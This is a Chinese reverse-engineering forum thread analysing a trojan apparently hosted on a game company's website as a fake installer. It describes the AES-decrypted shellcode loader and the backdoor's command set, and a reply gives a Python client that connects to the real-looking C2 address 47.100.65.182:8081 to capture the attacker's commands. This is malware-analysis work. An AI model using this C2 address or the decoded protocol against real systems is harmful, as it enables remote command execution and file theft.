首页
社区
课程
招聘
[分享]关于某知名游戏公司被挂马的文件分析
发表于: 2023-7-27 02:04 11455

[分享]关于某知名游戏公司被挂马的文件分析

2023-7-27 02:04
11455

来自某推的消息某知名游戏公司网站被人恶意挂马钓鱼

样本地址:xxxxxxx.xxxx.com/uploads/***%E7%99%BB%E5%BD%95%E6%8E%A7%E4%BB%B6.exe


样本伪装成openvxx的安装包乘机释放后门


外壳分析

逻辑十分清晰,首先使用AES128 循环解密shellcode 然后利用CreateTimerQueueTimer的CallBack参数来跳进shellcode。
我这边选择了修改外壳exe然后进行内存dump(可以看到后面跳转进shellcode的代码已经被我nop掉并修改成死循环了)

然后我们使用工具修复导入表再来看看shellcode


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 2
支持
分享
最新回复 (3)
雪    币: 3059
活跃值: (30876)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2023-7-27 08:56
1
雪    币: 295
活跃值: (4176)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3

恶意指令


powershell执行命令
数据包id: 3 8 9
下发数据: 命令文本
返回数据: 执行结果

写文件
数据包id: 4
下发数据: 文件名 文件数据
返回数据: 执行结果(成功写出返回“OK”)

读文件
数据包id: 5
下发数据: 文件名
返回数据: 文件数据

powershell执行命令2
数据包id: 10 12
下发数据: 命令文本
返回数据: 命令执行数据

ping(似乎是检查连接用的)
数据包id: 11
下发数据: 无
返回数据: 未知


山寨远控客户端(用于获取/解密攻击指令):
import time
import random
import socket

init = False

ip_port = ('47.100.65.182',8081)
sk = socket.socket()
sk.connect(ip_port)

def getdesc(cmdid):
    if cmdid == 3 or cmdid == 8 or cmdid == 9:
        return "powershell执行命令"
    if cmdid == 4:
        return "写文件"
    if cmdid == 5:
        return "读文件"
    if cmdid == 10 or cmdid == 12:
        return "powershell执行命令2"
    if cmdid == 11:
        return "ping检查连接"
    return "unknown"

def xor(data):
    return bytes([a ^ 0x42 for a in data])

def xor_rnd(rnd):
    result = bytearray()
    for x, y in zip(rnd, b'\x69\xA4'):
        result.append(x ^ y)
    return bytes(result)

while True:
    try:
        if not init:
            timestamp = int(time.time())
            print("timestamp:", timestamp)
            rnd = random.randint(0, 65535).to_bytes(2,byteorder='little', signed=False)
            sk.sendall(rnd + xor_rnd(rnd)) # [随机数(2bytes)] + [之前的随机数 ^ 0x69A4 (2bytes)]
            sk.sendall(xor(b'\x02\x00\x00\x00\x04' + timestamp.to_bytes(4,byteorder='little', signed=False))) # [0x02000000 (数据包id 4bytes) + 0x04 (长度 1bytes) + 时间戳(4bytes)]
            init = True
   
        print("--------------------------------------------------")
   
        header_bytes = sk.recv(5)
   
        header = xor(header_bytes)
        cmdid = int.from_bytes(header[:4], 'little', signed=False)
        size = int.from_bytes(header[4:5], 'little', signed=False)

        print("cmdid:", cmdid)
        print("desc:" , getdesc(cmdid))
        print("size:", size)
   
        payload_bytes = b''
        while len(payload_bytes) < size:
            payload_bytes += sk.recv(size)
        payload = xor(payload_bytes)
   
        print("payload:", payload)

        sk.sendall(xor(b'\x01\x00\x00\x00\x0B\x00\x00\x00\x07\x73\x75\x63\x63\x65\x73\x73')) # 数据包id(4bytes) + 长度 (1bytes) + 数据(?bytes)
    except:
        print("connection was lost.")
        break

最后于 2023-7-27 16:51 被EX呵呵编辑 ,原因: 编辑
2023-7-27 10:45
0
雪    币: 617
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
大侠,能加一下吗?  有个问题求解  有偿!QQ: 1044899676
2024-10-25 15:09
0
游客
登录 | 注册 方可回帖
返回
//